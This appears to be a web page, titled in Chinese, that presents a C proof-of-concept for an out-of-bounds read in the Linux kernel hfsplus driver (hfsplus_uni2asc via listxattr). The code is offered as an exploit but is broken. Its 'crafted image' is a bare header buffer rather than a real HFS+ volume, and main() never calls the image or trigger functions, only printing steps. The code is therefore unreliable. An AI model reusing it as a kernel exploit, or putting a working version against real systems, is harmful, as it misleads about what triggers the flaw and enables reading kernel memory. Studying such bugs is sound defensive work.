Linux内核hfsplus文件系统hfsplus_uni2asc缓冲区越界读取漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <sys/xattr.h> #include <unistd.h> #include <sys/stat.h> #include <errno.h> /* * CVE-2025-40082 PoC - hfsplus slab-out-of-bounds read * Target: Linux kernel hfsplus filesystem driver * Trigger: listxattr on specially crafted hfsplus filesystem * * Note: This PoC requires a specially crafted hfsplus filesystem image * with malicious extended attributes to trigger the vulnerability. * The actual exploitation requires kernel debugging enabled (KASAN). */ #define HFSPLUS_MAGIC 0x482b #define TEST_FILE "/tmp/test_hfsplus.img" #define TEST_MOUNT "/mnt/hfsplus_test" int create_malicious_hfsplus_image(const char *image_path) { FILE *fp = fopen(image_path, "wb"); if (!fp) { fprintf(stderr, "Failed to create image: %s\n", strerror(errno)); return -1; } /* HFS+ volume header with crafted attributes */ unsigned char header[1024] = {0}; /* Set HFS+ magic number */ header[0] = 0x48; /* 'H' */ header[1] = 0x2B; /* '+' */ header[2] = 0x00; header[3] = 0x00; /* Craft malicious unicode string length in extended attributes */ /* This triggers the slab-out-of-bounds read in hfsplus_uni2asc */ unsigned short *attr_len = (unsigned short *)&header[512]; *attr_len = 0xFFFF; /* Large length exceeding allocated buffer */ fwrite(header, sizeof(header), 1, fp); fclose(fp); return 0; } int trigger_vulnerability(const char *mount_point) { char xattr_buffer[4096]; ssize_t ret; /* Create a file with malicious extended attribute */ char test_file[256]; snprintf(test_file, sizeof(test_file), "%s/test_file", mount_point); int fd = open(test_file, O_RDONLY); if (fd < 0) { fprintf(stderr, "Failed to open test file: %s\n", strerror(errno)); return -1; } /* Trigger listxattr which calls hfsplus_listxattr -> hfsplus_uni2asc */ ret = listxattr(test_file, xattr_buffer, sizeof(xattr_buffer)); if (ret < 0) { fprintf(stderr, "listxattr failed: %s\n", strerror(errno)); close(fd); return -1; } printf("listxattr returned: %zd bytes\n", ret); close(fd); return 0; } int main(int argc, char *argv[]) { printf("CVE-2025-40082 PoC - hfsplus slab-out-of-bounds read\n"); printf("=================================================\n\n"); /* This PoC demonstrates the vulnerability trigger mechanism */ /* Actual exploitation requires: */ /* 1. Creating a malicious hfsplus filesystem image */ /* 2. Mounting the image on a vulnerable system */ /* 3. Calling listxattr on files with crafted extended attributes */ printf("Vulnerability Details:\n"); printf("- Function: hfsplus_uni2asc() in fs/hfsplus/unicode.c:186\n"); printf("- Bug: slab-out-of-bounds read (KASAN detected)\n"); printf("- Trigger: listxattr() system call\n"); printf("- Impact: Read kernel heap memory beyond allocated buffer\n\n"); printf("To reproduce:\n"); printf("1. Create a hfsplus filesystem image with malicious xattrs\n"); printf("2. Mount the image on vulnerable kernel\n"); printf("3. Call listxattr on files to trigger OOB read\n"); printf("4. Check dmesg for KASAN report\n\n"); /* For demonstration, show the vulnerable code path */ printf("Vulnerable Code Path:\n"); printf("listxattr() -> path_listxattrat() -> vfs_listxattr()\n"); printf(" -> hfsplus_listxattr() -> hfsplus_uni2asc() [OOB READ]\n"); return 0; }